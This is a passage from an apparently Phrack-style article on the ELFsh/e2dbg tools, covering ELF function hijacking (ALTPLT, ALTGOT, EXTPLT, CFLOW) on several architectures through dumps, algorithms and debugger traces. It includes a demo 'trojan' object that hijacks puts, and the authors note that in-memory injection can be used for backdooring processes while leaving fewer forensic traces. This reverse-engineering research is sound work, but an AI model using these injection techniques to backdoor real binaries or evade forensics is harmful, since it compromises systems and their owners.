400790: 3c1c0fc0 lui gp,0xfc0 # Set GP to GOT base 400794: 279c78c0 addiu gp,gp,30912 # address + 0x7ff0 400798: 0399e021 addu gp,gp,t9 # using t9 (= main) 40079c: 27bdffe0 addiu sp,sp,‑32

4007a0: afbf001c sw ra,28(sp)

4007a4: afbe0018 sw s8,24(sp)

4007a8: 03a0f021 move s8,sp

4007ac: afbc0010 sw gp,16(sp)

4007b0: 8f828018 lw v0,‑32744(gp) 4007b4: 00000000 nop

4007b8: 24440a50 addiu a0,v0,2640

4007bc: 2405002a li a1,42

4007c0: 8f828018 lw v0,‑32744(gp) 4007c4: 00000000 nop

4007c8: 24460a74 addiu a2,v0,2676

4007cc: 8f99803c lw t9,‑32708(gp) # Load printf GOT entry 4007d0: 00000000 nop

4007d4: 0320f809 jalr t9 # and jump on it 4007d8: 00000000 nop

4007dc: 8fdc0010 lw gp,16(s8)

4007e0: 00001021 move v0,zero

4007e4: 03c0e821 move sp,s8

4007e8: 8fbf001c lw ra,28(sp)

4007ec: 8fbe0018 lw s8,24(sp)

4007f0: 27bd0020 addiu sp,sp,32

4007f4: 03e00008 jr ra # return from the func 4007f8: 00000000 nop

4007fc: 00000000 nop

We note that the global pointer register %gp is always set on the GOT section base address on MIPS, more or less some fixed signed offset, in our case 0x7ff0 (0x8000 on ALPHA).

In order to call a function whoose address is unknown, the GOT entries are filled and then the indirect jump instruction on MIPS does not use the PLT entry anymore. What do we learn from this ? Simply that we cannot rely on a classical PLT hijacking because the PLT entry code wont be called if the GOT entry is already filled, which means that we will hijack the function only the first time.

Because of this, we will hijack functions using GOT patching on MIPS. However it does not resolve the problem of recalling the original function. In order to allow such recall, we will just insert the old_ symbols on the real PLT entry, so that we can still access the dynamic linking mechanism code stub even if the GOT has been modified.

Let's see the detailed results of the ALTGOT technique on the ALPHA and MIPS architecture. It was done without a single line of assembly code which makes it very portable :

========= BEGIN DUMP 19 =========

elfsh@alpha$ cat host.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main()

{

char *str;

str = malloc(10);

if (str == NULL)

goto err;

strcpy(str, "test");

printf("First_printf %s\n", str);

fflush(stdout);

puts("First_puts");

printf("Second_printf %u\n", 42);

puts("Second_puts");

fflush(stdout);

return (0);

err:

printf("Malloc problem %u\n", 42);

return (‑1);

}

elfsh@alpha$ gcc host.c ‑o a.out

elfsh@alpha$ file ./a.out

a.out: ELF 64‑bit LSB executable, Alpha (unofficial), for NetBSD 2.0G, dynamically linked, not stripped

========= END DUMP 19 =========

The original binary executes:

========= BEGIN DUMP 20 =========

elfsh@alpha$ ./a.out

First_printf test

First_puts

Second_printf 42

Second_puts

========= END DUMP 20 ==========

Let's look again the relocatable object we are injecting:

========= BEGIN DUMP 21 =========

elfsh@alpha$ cat rel.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int glvar_testreloc = 42;

int glvar_testreloc_bss;

char glvar_testreloc_bss2;

short glvar_testreloc_bss3;

int puts_troj(char *str)

{

int local = 1;

char *str2;

str2 = malloc(10);

*str2 = 'Z';

*(str2 + 1) = 0x00;

glvar_testreloc_bss = 43;

glvar_testreloc_bss2 = 44;

glvar_testreloc_bss3 = 45;

printf("Trojan injected ET_REL takes control now " "[%s:%s:%u:%u:%hhu:%hu:%u] \n",

str2, str,

glvar_testreloc,

glvar_testreloc_bss,

glvar_testreloc_bss2,

glvar_testreloc_bss3,

local);

old_puts(str);

fflush(stdout);

return (0);

}

int func2()

{

return (42);

}

========= END DUMP 21 =========

As you can see, the relocatable object rel.c uses old_ symbols which means that it relies on the ALTPLT technique. However we do not perform EXTPLT technique on ALPHA and MIPS yet so we are not able to call unknown function from the binary on those architectures for now. Our rel.c is a copy from the one in example 7 without the calls to the unknown functions write and putchar of example 7.

Now we inject the stuff:

========= BEGIN DUMP 22 =========

elfsh@alpha$ ./relinject.esh > relinject.out

elfsh@alpha$ ./fake_aout

First_printf test

Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1] First_puts

Second_printf 42

Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1] Second_puts

========= END DUMP 22 ==========

The section list on ALPHA is then as follow. A particular look at the injected sections is recommended :

========= BEGIN DUMP 23 =========

elfsh@alpha$ elfsh ‑f fake_aout ‑s ‑p

[*] Object fake_aout has been loaded (O_RDONLY)

[SECTION HEADER TABLE .::. SHT is not stripped]

[Object fake_aout]

[000] 0x000000000 ‑‑‑‑‑‑‑ foff:00000 sz:00000 [001] 0x120000190 a‑‑‑‑‑‑ .interp foff:00400 sz:00023 [002] 0x1200001A8 a‑‑‑‑‑‑ .note.netbsd.ident foff:00424 sz:00024 [003] 0x1200001C0 a‑‑‑‑‑‑ .hash foff:00448 sz:00544 [004] 0x1200003E0 a‑‑‑‑‑‑ .dynsym foff:00992 sz:00552 [005] 0x120000608 a‑‑‑‑‑‑ .dynstr foff:01544 sz:00251 [006] 0x120000708 a‑‑‑‑‑‑ .rela.dyn foff:01800 sz:00096 [007] 0x120000768 a‑‑‑‑‑‑ .rela.plt foff:01896 sz:00168 [008] 0x120000820 a‑x‑‑‑‑ .init foff:02080 sz:00128 [009] 0x1200008A0 a‑x‑‑‑‑ .text foff:02208 sz:01312 [010] 0x120000DC0 a‑x‑‑‑‑ .fini foff:03520 sz:00104 [011] 0x120000E28 a‑‑‑‑‑‑ .rodata foff:03624 sz:00162 [012] 0x120010ED0 aw‑‑‑‑‑ .data foff:03792 sz:00000 [013] 0x120010ED0 a‑‑‑‑‑‑ .eh_frame foff:03792 sz:00004 [014] 0x120010ED8 aw‑‑‑‑‑ .dynamic foff:03800 sz:00352 [015] 0x120011038 aw‑‑‑‑‑ .ctors foff:04152 sz:00016 [016] 0x120011048 aw‑‑‑‑‑ .dtors foff:04168 sz:00016 [017] 0x120011058 aw‑‑‑‑‑ .jcr foff:04184 sz:00008 [018] 0x120011060 awx‑‑‑‑ .plt foff:04192 sz:00116 [019] 0x1200110D8 aw‑‑‑‑‑ .got foff:04312 sz:00240 [020] 0x1200111C8 aw‑‑‑‑‑ .sdata foff:04552 sz:00024 [021] 0x1200111E0 aw‑‑‑‑‑ .sbss foff:04576 sz:00024 [022] 0x1200111F8 aw‑‑‑‑‑ .bss foff:04600 sz:00056 [023] 0x120011230 a‑x‑‑‑‑ rel.o.text foff:04656 sz:00320 [024] 0x120011370 aw‑‑‑‑‑ rel.o.sdata foff:04976 sz:00008 [025] 0x120011378 a‑‑ms‑‑ rel.o.rodata.str1.1 foff:04984 sz:00072 [026] 0x1200113C0 a‑x‑‑‑‑ .alt.plt.prolog foff:05056 sz:00048 [027] 0x1200113F0 a‑x‑‑‑‑ .alt.plt foff:05104 sz:00120 [028] 0x120011468 a‑‑‑‑‑‑ .alt.got foff:05224 sz:00072 [029] 0x1200114B0 aw‑‑‑‑‑ rel.o.got foff:05296 sz:00080 [030] 0x000000000 ‑‑‑‑‑‑‑ .comment foff:05376 sz:00240 [031] 0x000000000 ‑‑‑‑‑‑‑ .debug_aranges foff:05616 sz:00048 [032] 0x000000000 ‑‑‑‑‑‑‑ .debug_pubnames foff:05664 sz:00027 [033] 0x000000000 ‑‑‑‑‑‑‑ .debug_info foff:05691 sz:02994 [034] 0x000000000 ‑‑‑‑‑‑‑ .debug_abbrev foff:08685 sz:00337 [035] 0x000000000 ‑‑‑‑‑‑‑ .debug_line foff:09022 sz:00373 [036] 0x000000000 ‑‑‑‑‑‑‑ .debug_frame foff:09400 sz:00048 [037] 0x000000000 ‑‑‑ms‑‑ .debug_str foff:09448 sz:01940 [038] 0x000000000 ‑‑‑‑‑‑‑ .debug_macinfo foff:11388 sz:12937 [039] 0x000000000 ‑‑‑‑‑‑‑ .ident foff:24325 sz:00054 [040] 0x000000000 ‑‑‑‑‑‑‑ .shstrtab foff:24379 sz:00393 [041] 0x000000000 ‑‑‑‑‑‑‑ .symtab foff:27527 sz:02400 [042] 0x000000000 ‑‑‑‑‑‑‑ .strtab foff:29927 sz:00948

[Program header table .::. PHT]

[Object fake_aout]

[00] 0x120000040 ‑> 0x120000190 r‑x => Program header table [01] 0x120000190 ‑> 0x1200001A7 r‑‑ => Program interpreter [02] 0x120000000 ‑> 0x120000ECA r‑x => Loadable segment [03] 0x120010ED0 ‑> 0x120011510 rwx => Loadable segment [04] 0x120010ED8 ‑> 0x120011038 rw‑ => Dynamic linking info [05] 0x1200001A8 ‑> 0x1200001C0 r‑‑ => Auxiliary information

[Program header table .::. SHT correlation]

[Object fake_aout]

[*] SHT is not stripped

[00] PT_PHDR

[01] PT_INTERP .interp

[02] PT_LOAD .interp .note.netbsd.ident .hash .dynsym .dynstr .rela.dyn .rela.plt .init .text .fini .rodata [03] PT_LOAD .data .eh_frame .dynamic .ctors .dtors .jcr .plt .got .sdata .sbss .bss rel.o.text rel.o.sdata rel.o.rodata.str1.1 .alt.plt.prolog .alt.plt .alt.got rel.o.got

[04] PT_DYNAMIC .dynamic

[05] PT_NOTE .note.netbsd.ident

[*] Object fake_aout unloaded

========= END DUMP 23 =========

Segments are extended the good way. We see this because of the correlation between SHT and PHT : all bounds are correct. the end. The .alt.plt.prolog section is there for implementing the ALTPLTv2 on ALPHA. This could will patch in runtime the first ALTPLT entry bytes with the first PLT entry bytes on the first time that ALTPLT first entry is called (when calling some original function from a hook function for the first time).

When we discovered how to do the ALTPLTv3 (without a line of assembly), then .alt.plt.prolog just became a padding section so that GOT and ALTGOT were well aligned on some size that was necessary for setting up ALTPLT because of the ALPHA instruction encoding of indirect control flow jumps.

‑‑‑[ D. EXTPLT technique : unknown function postlinking

This technique is one of the major one of the new ELFsh version. It works on ET_EXEC and ET_DYN files, including when the injection is done directly in memory. EXTPLT consists in adding a new section (.elfsh.extplt) so that we can add entries for new functions.

When coupled to .rel.plt, .got, .dynsym, and .dynstr mirroring extensions, it allows for placing relocation entries that match the needs of the new ALTPLT/ALTGOT couple. Let's look at the additional relocation information using the elfsh ‑r command.

First, let see the original binary relocation table:

========= BEGIN DUMP 24 =========

[*] Object ./a.out has been loaded (O_RDONLY)

[RELOCATION TABLES]

[Object ./a.out]

{Section .rel.dyn}

[000] R_386_GLOB_DAT 0x08049850 sym[010] : __gmon_start__ [001] R_386_COPY 0x08049888 sym[004] : stdout

{Section .rel.plt}

[000] R_386_JMP_SLOT 0x08049860 sym[001] : fflush

[001] R_386_JMP_SLOT 0x08049864 sym[002] : puts

[002] R_386_JMP_SLOT 0x08049868 sym[003] : malloc

[003] R_386_JMP_SLOT 0x0804986C sym[005] : __libc_start_main [004] R_386_JMP_SLOT 0x08049870 sym[006] : printf

[005] R_386_JMP_SLOT 0x08049874 sym[007] : free

[006] R_386_JMP_SLOT 0x08049878 sym[009] : read

[*] Object ./testsuite/etrel_inject/etrel_original/a.out unloaded

========= END DUMP 24 =========

Let's now see the modified binary relocation tables:

========= BEGIN DUMP 25 =========

[*] Object fake_aout has been loaded (O_RDONLY)

[RELOCATION TABLES]

[Object ./fake_aout]

{Section .rel.dyn}

[000] R_386_GLOB_DAT 0x08049850 sym[010] : __gmon_start__ [001] R_386_COPY 0x08049888 sym[004] : stdout

{Section .rel.plt}

[000] R_386_JMP_SLOT 0x0804A8A0 sym[001] : fflush

[001] R_386_JMP_SLOT 0x0804A8A4 sym[002] : puts

[002] R_386_JMP_SLOT 0x0804A8A8 sym[003] : malloc

[003] R_386_JMP_SLOT 0x0804A8AC sym[005] : __libc_start_main [004] R_386_JMP_SLOT 0x0804A8B0 sym[006] : printf

[005] R_386_JMP_SLOT 0x0804A8B4 sym[007] : free

[006] R_386_JMP_SLOT 0x0804A8B8 sym[009] : read

{Section .elfsh.reldyn}

[000] R_386_GLOB_DAT 0x08049850 sym[010] : __gmon_start__ [001] R_386_COPY 0x08049888 sym[004] : stdout

{Section .elfsh.relplt}

[000] R_386_JMP_SLOT 0x0804A8A0 sym[001] : fflush

[001] R_386_JMP_SLOT 0x0804A8A4 sym[002] : puts

[002] R_386_JMP_SLOT 0x0804A8A8 sym[003] : malloc

[003] R_386_JMP_SLOT 0x0804A8AC sym[005] : __libc_start_main [004] R_386_JMP_SLOT 0x0804A8B0 sym[006] : printf

[005] R_386_JMP_SLOT 0x0804A8B4 sym[007] : free

[006] R_386_JMP_SLOT 0x0804A8B8 sym[009] : read

[007] R_386_JMP_SLOT 0x0804A8BC sym[011] : _IO_putc

[008] R_386_JMP_SLOT 0x0804A8C0 sym[012] : write

[*] Object fake_aout unloaded

========= END DUMP 25 =========

As you see, _IO_putc (internal name for putchar) and write functions has been used in the injected object. We had to insert them inside the host binary so that the output binary can work.

The .elfsh.relplt section is copied from the .rel.plt section but with a doubled size so that we have room for additional entries. Even if we extend only one of the relocation table, both tables needs to be copied, because on ET_DYN files, the rtld will assume that both tables are adjacent in memory, so we cannot just copy .rel.plt but also need to keep .rel.dyn (aka .rel.got) near the .rel.plt copy. That is why you can see with .elfsh.reldyn and .elfsh.relplt .

When extra symbols are needed, more sections are moved after the BSS, including .dynsym and .dynstr.

‑‑‑[ E. IA32, SPARC32/64, ALPHA64, MIPS32 compliant algorithms

Let's now give all algorithms details about the techniques we introduced by the practice in the previous paragraphs. We cover here all pseudos algorithms for ELF redirections. More constrained debugging detailed algorithms are given at the end of the next part.

Because of ALTPLT and ALTGOT techniques are so complementary, we implemented them inside only one algorithm that we give now. There is no conditions on the SPARC architecture since it is the default architecture case in the listing.

The main ALTPLTv3 / ALTGOT algorithm (libelfsh/altplt.c) can be found in elfsh_build_plt() and elfsh_relink_plt(), is as follow.

It could probably be cleaned if all the code go in architecture dependant handlers but that would duplicate some code, so we keep it like this :

Multiarchitecture ALTPLT / ALTGOT algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0/ IF [ ARCH is MIPS AND PLT is not found AND File is dynamic ] [

‑ Get .text section base address

‑ Find MIPS opcodes fingerprint for embedded PLT located inside .text

‑ Fixup SHT to include PLT section header

]

1/ SWITCH on ELF architecture

[

MIPS:

* Insert mapped .elfsh.gotprolog section

* Insert mapped .elfsh.padgot section

ALPHA:

* Insert mapped .elfsh.pltprolog section DEFAULT:

* Insert mapped .elfsh.altplt section (copy of .plt) ]

2/ IF [ ARCH is (MIPS or ALPHA or IA32) ]

[

* Insert .elfsh.altgot section (copy of .got)

]

3/ FOREACH (ALT)PLT ENTRY:

[

IF [ FIRST PLT entry ]

[

IF [ARCH is MIPS ]

[

* Insert pairs of ld/st instructions in .elfsh.gotprolog for copying extern variables addresses fixed in GOT by the RTLD inside

ALTGOT section. See MIPS altplt handler

in libelfsh/mips32.c

]

ELSE IF [ ARCH is IA32 ]

[

* Reencode the first PLT entry using GOT ‑ ALTGOT address difference (so we relocate into ALTGOT instead of GOT)

]

]

IF [ ARCH is MIPS ]

* Inject OLD symbol on current PLT entry

ELSE

* Inject OLD symbol on current ALTPLT entry

IF [ ARCH is ALPHA ]

* Shift relocation entry pointing at current location

IF [ ARCH is IA32 ]

* Reencode PLT and ALTPLT current entry

]

4/ SWITCH on ELF architecture

[

MIPS:

IA32:

* Change DT_PLTGOT entry from GOT to ALTGOT address

* Shift GOT related relocation

SPARC:

* Change DT_PLTGOT entry from PLT to ALTPLT address * Shift PLT related relocations

]

On MIPS, there is no relocation tables inside ET_EXEC binaries. If we want to shift the relocations that make reference to GOT inside the MIPS code, we need to fingerprint such code patterns so that we fix them using the ALTGOT ‑ GOT difference. They are easily found since the needed patches are always on the same binary instructions pattern :

3c1c0000 lui gp,0x0

279c0000 addiu gp,gp,0

The zero fields in those instructions should be patched at linking time when they match HI16 and LO16 MIPS relocations. However this information is not available in a table for ET_EXEC files, so we had to find them back in the binary code. It way easier to do this on RISC architectures since all instructions are the same length so false positives are very unlikely to happen. Once we found all those patterns, we fix them using the ALTGOT‑GOT difference in the relocatable fields. Of course, we wont change ALL references to GOT inside the code, because that would result in just moving the GOT without performing any hijack. We just fix those references in the first 0x100 bytes of .text, and in .init, .fini, that means only the references at the reserved GOT entries (filled with dl‑resolve virtual address and linkmap address). That way, we make the original code use the ALTGOT section when accessing reserved entries (since they have been runtime relocated in ALTGOT and not GOT) and the original GOT entries when accessing the function entries (so that we can hijack functions using GOT modification).

EXTPLT algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

The EXTPLT algorithm fits well in the previous algorithm. We just needed to add 2 steps in the previous listing :

Step 2 BIS : Insert the EXTPLT (copy of PLT) section on supported architectures.

Step 5 : Mirror (and extend) dynamic linking sections on supported architectures. Let's give more details about this algorithm implemented in libelfsh/extplt.c.

* Mirror .rel.got (.rel.dyn) and .rel.plt sections after BSS, with a double sized mirror sections. Those 2 sections needs to stay adjacent in memory so that EXTPLT works on ET_DYN objects as well.

* Update DT_REL and DT_JMPREL entries in .dynamic

* Mirror .dynsym and .dynstr sections with a double size

* Update DT_SYMTAB and DT_STRTAB entries in .dynamic

Once those operations are done, we have room in all the various dynamic linking oriented sections and we can add on‑demand dynamic symbols, symbols names, and relocation entry necessary for adding extra PLT entries in the EXTPLT section.

Then, each time we encounter a unknown symbol in the process of relocating a ET_REL object inside a ET_EXEC or ET_DYN object, we can use the REQUESTPLT algorithm, as implemented in elfsh_request_pltent() function in the libelfsh/extplt.c file :

* Check room in EXTPLT, RELPLT, DYNSYM, DYNSTR, and ALTGOT sections.

* Initialize ALTGOT entry to EXTPLT allocated new entry.

* Encode EXTPLT entry for using the ALTGOT entry.

* Insert relocation entry inside .elfsh.relplt for ALTGOT new entry.

* Add relocation entry size to DT_PLTRELSZ entry value in .dynamic section.

* Insert missing symbol in .elfsh.dynsym, with name inserted in .elfsh.dynstr section.

* Add symbol name length to DT_STRSZ entry value in .dynamic section.

This algorithm is called from the main ET_REL injection and relocation algorithm each time the ET_REL object use an unknown function whoose symbol is not present in the host file. The new ET_REL injection algorithm is given at the end of the constrained debugging part of the article.

CFLOW algorithm

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

This technique is implemented using an architecture dependant backend but the global algorithm stays the same for all architectures :

‑ Create .elfsh.hooks sections (only 1 time)

‑ Find number of bytes aligned on instruction size :

* Using libasm on IA32

* Manually on RISC machines

‑ Insert HOOK entry on demand (see CFLOW dump for format) ‑ Insert JMP to hook entry in hijacked function prolog

‑ Align JUMP hook on instruction size with NOP in hijacked prolog ‑ Insert hook_funcname and old_funcname symbols in hook entry for beeing able to call back the original function.

The technique is PaX safe since it does not need any runtime bytes restoration step. We can hook the address of our choice using the CFLOW technique, however executing the original bytes in the hook entry instead of their original place will not work when placing hooks on relative branching instructions. Indeed, relatives branching will be resolved to a wrong virtual address if we execute their opcodes at the wrong place (inside .elfsh.hooks instead of their original place) inside the process. Remember this when placing CFLOW hooks : it is not intended to hook relative branch instructions.

‑‑‑‑‑‑‑[ V. Constrained Debugging

In nowadays environment, hardened binaries are usually

of type ET_DYN. We had to support this kind of injection since it allows for library files modification as much powerful as the the executable files modification. Moreover some distribution comes with a default binary set compiled in ET_DYN, such as hardened gentoo.

Another improvement that we wanted to be done is the ET_REL relocation in memory. The algorithm for it is the same than the ondisk injection, but this time the disk is not changed so it reduces forensics evidences like in [12]. It is believed that this kind of injection can be used in exploits and direct process backdooring without touching the hard disk. Evil eh ?

We are aware of another implementation of the ET_REL injection into memory [10]. Ours supports a wider range of architecture and couples with the EXTPLT technique directly in memory, which was not previously implemented to our knowledge.

A last technique that we wanted to develop was about extending and debugging static executables. We developed this new technique that we called EXTSTATIC algorithm. It allows for static injections by taking parts of libc.a when functions or code is missing. The same ET_REL injection algorithm is used except that more than one relocatable file taken from libc.a is injected at a time using a recursive dependency algorithm.

‑‑‑[ A. ET_REL relocation in memory

Because we want to be able to provide a handler for breakpoints as they are specified, we allow for direct mapping of an ET_REL object into memory. We use extra mmap zone for this, always taking care that it does not break PaX : we do not map any zone beeing both executable and writable.

In e2dbg, breakpoints can be implemented in 2 ways. Either an architecture specific opcode (like 0xCC on IA32) is used on the desired redirected access, or the CFLOW/ALTPLT primitives can be used in runtime. In the second case, the mprotect system call must be used to be able to modify code at runtime. However we may be able to get rid of mprotect soon for runtime injections as the CFLOW techniques improves for beeing both static and runtime PaX safe.

Let's look at some simple binary that does just use printf and and puts to understand more those concepts:

========= BEGIN DUMP 26 =========

elfsh@WTH $ ./a.out

[host] main argc 1

[host] argv[0] is : ./a.out

First_printf test

First_puts

Second_printf test

Second_puts

LEGIT FUNC

legit func (test) !

========= END DUMP 26 =========

We use a small elfsh script as e2dbg so that it creates another file with the debugger injected inside it, using regular elfsh techniques. Let's look at it :

========= BEGIN DUMP 27 =========

elfsh@WTH $ cat inject_e2dbg.esh

#!../../vm/elfsh

load a.out

set 1.dynamic[08].val 0x2# entry for DT_DEBUG

set 1.dynamic[08].tag DT_NEEDED

redir main e2dbg_run

save a.out_e2dbg

========= END DUMP 27 =========

We then execute the modified binary.

========= BEGIN DUMP 28 =========

elfsh@WTH $ ./aout_e2dbg

The Embedded ELF Debugger 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

[*] Sun Jul 31 16:24:00 2005 ‑ New object ./a.out_e2dbg loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/tls/libc.so.6 loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object ./ibc.so.6 loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/ld‑linux.so.2 loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/libelfsh.so loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/libreadline.so.5 loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/libtermcap.so.2 loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/libdl.so.2 loaded [*] Sun Jul 31 16:24:00 2005 ‑ New object /lib/libncurses.so.5 loaded

(e2dbg‑0.65) quit

[..: Embedded ELF Debugger returns to the grave :...]

[e2dbg_run] returning to 0x08045139

[host] main argc 1

[host] argv[0] is : ./a.out_e2dbg

First_printf test

First_puts

Second_printf test

Second_puts

LEGIT FUNC

legit func (test) !

elfsh@WTH $

========= END DUMP 28 =========

Okay, that was easy. What if we want to do something more interresting like ET_REL object injection into memory. We will make use of the profile command so that we can see the autoprofiling feature of e2dbg. This command is always useful to learn more about the internals of the debugger, and for internal debugging problems that may occur while developping it.

Our cheap function calls pattern matching makes the output more understandable than a raw print of profiling information and took only a few hours to implement using the ELFSH_PROFILE_{OUT,ERR,ROUT} macros in libelfsh‑internals.h and libelfsh/error.c

We will also print the linkmap list. The linkmap first fields are OS independant. There are a lot of other internal fields that we do not display here but a lot of information could be grabbed from there as well.

See the stuff in action :

========= BEGIN DUMP 29 =========

elfsh@WTH $ ./a.out_e2dbg

The Embedded ELF Debugger 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

[*] Sun Jul 31 16:12:48 2005 ‑ New object ./a.out_e2dbg loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/tls/libc.so.6 loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object ./ibc.so.6 loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/ld‑linux.so.2 loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/libelfsh.so loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/libreadline.so.5 loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/libtermcap.so.2 loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/libdl.so.2 loaded [*] Sun Jul 31 16:12:48 2005 ‑ New object /lib/libncurses.so.5 loaded

(e2dbg‑0.65) linkmap

.::. Linkmap entries .::.

[01] addr : 0x00000000 dyn : 0x080497D4 ‑

[02] addr : 0x00000000 dyn : 0xFFFFE590 ‑

[03] addr : 0xB7E73000 dyn : 0xB7F9AD3C ‑ /lib/tls/libc.so.6 [04] addr : 0xB7E26000 dyn : 0xB7E6F01C ‑ ./ibc.so.6

[05] addr : 0xB7FB9000 dyn : 0xB7FCFF14 ‑ /lib/ld‑linux.so.2 [06] addr : 0xB7DF3000 dyn : 0xB7E24018 ‑ /lib/libelfsh.so [07] addr : 0xB7DC6000 dyn : 0xB7DEE46C ‑ /lib/libreadline.so.5 [08] addr : 0xB7DC2000 dyn : 0xB7DC5BB4 ‑ /lib/libtermcap.so.2 [09] addr : 0xB7DBE000 dyn : 0xB7DC0EEC ‑ /lib/libdl.so.2 [10] addr : 0xB7D7C000 dyn : 0xB7DBB1C0 ‑ /lib/libncurses.so.5

(e2dbg‑0.65) list

.::. Working files .::.

[001] Sun Jul 31 16:24:00 2005 D ID: 9 /lib/libncurses.so.5 [002] Sun Jul 31 16:24:00 2005 D ID: 8 /lib/libdl.so.2 [003] Sun Jul 31 16:24:00 2005 D ID: 7 /lib/libtermcap.so.2 [004] Sun Jul 31 16:24:00 2005 D ID: 6 /lib/libreadline.so.5 [005] Sun Jul 31 16:24:00 2005 D ID: 5 /lib/libelfsh.so [006] Sun Jul 31 16:24:00 2005 D ID: 4 /lib/ld‑linux.so.2 [007] Sun Jul 31 16:24:00 2005 D ID: 3 ./ibc.so.6

[008] Sun Jul 31 16:24:00 2005 D ID: 2 /lib/tls/libc.so.6 [009] Sun Jul 31 16:24:00 2005 *D ID: 1 ./a.out_e2dbg

.::. ELFsh modules .::.

[*] No loaded module

(e2dbg‑0.65) source ./etrelmem.esh

~load myputs.o

[*] Sun Jul 31 16:13:32 2005 ‑ New object myputs.o loaded

[!!] Loaded file is not the linkmap, switching to STATIC mode

~switch 1

[*] Switched on object 1 (./a.out_e2dbg)

~mode dynamic

[*] e2dbg is now in DYNAMIC mode

~reladd 1 10

[*] ET_REL myputs.o injected succesfully in ET_EXEC ./a.out_e2dbg

~profile

.:: Profiling enable

+ <vm_print_actual@loop.c:38>

~redir puts myputs

+ <vm_implicit@implicit.c:91>

+ <cmd_hijack@fcthijack.c:19>

+ <elfsh_get_metasym_by_name@sym_common.c:283>

+ <elfsh_get_dynsymbol_by_name@dynsym.c:255>

+ <elfsh_get_dynsymtab@dynsym.c:87>

+ <elfsh_get_raw@section.c:691>

[P] ‑‑[ <elfsh_get_raw@section.c:691>

[P] ‑‑‑ Last 1 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_get_dynsymbol_name@dynsym.c:17>

[W] <elfsh_get_dynsymbol_by_name@dynsym.c:274> Symbol not found [P] ‑‑[ <elfsh_get_raw@section.c:691>

[P] ‑‑[ <elfsh_get_dynsymbol_name@dynsym.c:17>

[P] ‑‑‑ Last 2 function(s) recalled 12 time(s) ‑‑‑

+ <elfsh_get_symbol_by_name@symbol.c:236>

+ <elfsh_get_symtab@symbol.c:110>

+ <elfsh_get_symbol_name@symbol.c:20>

[P] ‑‑[ <elfsh_get_symbol_name@symbol.c:20>

[P] ‑‑‑ Last 1 function(s) recalled 114 time(s) ‑‑‑

+ <elfsh_hijack_function_by_name@hijack.c:25>

+ <elfsh_setup_hooks@hooks.c:199>

+ <elfsh_get_pagesize@hooks.c:783>

+ <elfsh_get_archtype@hooks.c:624>

+ <elfsh_get_arch@elf.c:179>

+ <elfsh_copy_plt@altplt.c:525>

+ <elfsh_static_file@elf.c:491>

+ <elfsh_get_segment_by_type@pht.c:215>

+ <elfsh_get_pht@pht.c:364>

+ <elfsh_get_segment_type@pht.c:174>

[P] ‑‑[ <elfsh_get_segment_type@pht.c:174>

[P] ‑‑‑ Last 1 function(s) recalled 4 time(s) ‑‑‑

+ <elfsh_get_arch@elf.c:179>

[P] ‑‑[ <elfsh_get_arch@elf.c:179>

[P] ‑‑‑ Last 1 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_relink_plt@altplt.c:121>

+ <elfsh_get_archtype@hooks.c:624>

[P] ‑‑[ <elfsh_get_arch@elf.c:179>

[P] ‑‑[ <elfsh_relink_plt@altplt.c:121>

[P] ‑‑[ <elfsh_get_archtype@hooks.c:624>

[P] ‑‑‑ Last 3 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_get_elftype@hooks.c:662>

+ <elfsh_get_objtype@elf.c:204>

+ <elfsh_get_ostype@hooks.c:709>

+ <elfsh_get_real_ostype@hooks.c:679>

+ <elfsh_get_interp@interp.c:41>

+ <elfsh_get_raw@section.c:691>

[P] ‑‑[ <elfsh_get_raw@section.c:691>

[P] ‑‑‑ Last 1 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_get_section_by_name@section.c:168>

+ <elfsh_get_section_name@sht.c:474>

[P] ‑‑[ <elfsh_get_section_name@sht.c:474>

[P] ‑‑‑ Last 1 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_get_symbol_by_name@symbol.c:236>

+ <elfsh_get_symtab@symbol.c:110>

+ <elfsh_get_symbol_name@symbol.c:20>

[W] <elfsh_get_symbol_by_name@symbol.c:253> Symbol not found [P] ‑‑[ <elfsh_get_symbol_name@symbol.c:20>

[P] ‑‑‑ Last 1 function(s) recalled 114 time(s) ‑‑‑

+ <elfsh_is_pltentry@plt.c:73>

[W] <elfsh_is_pltentry@plt.c:77> Invalid NULL parameter + <elfsh_get_dynsymbol_by_name@dynsym.c:255>

+ <elfsh_get_dynsymtab@dynsym.c:87>

+ <elfsh_get_raw@section.c:691>

[P] ‑‑[ <elfsh_get_raw@section.c:691>

[P] ‑‑‑ Last 1 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_get_dynsymbol_name@dynsym.c:17>

[P] ‑‑[ <elfsh_is_pltentry@plt.c:73>

[P] ‑‑[ <elfsh_get_dynsymbol_by_name@dynsym.c:255>

[P] ‑‑[ <elfsh_get_dynsymtab@dynsym.c:87>

[P] ‑‑[ <elfsh_get_raw@section.c:691>

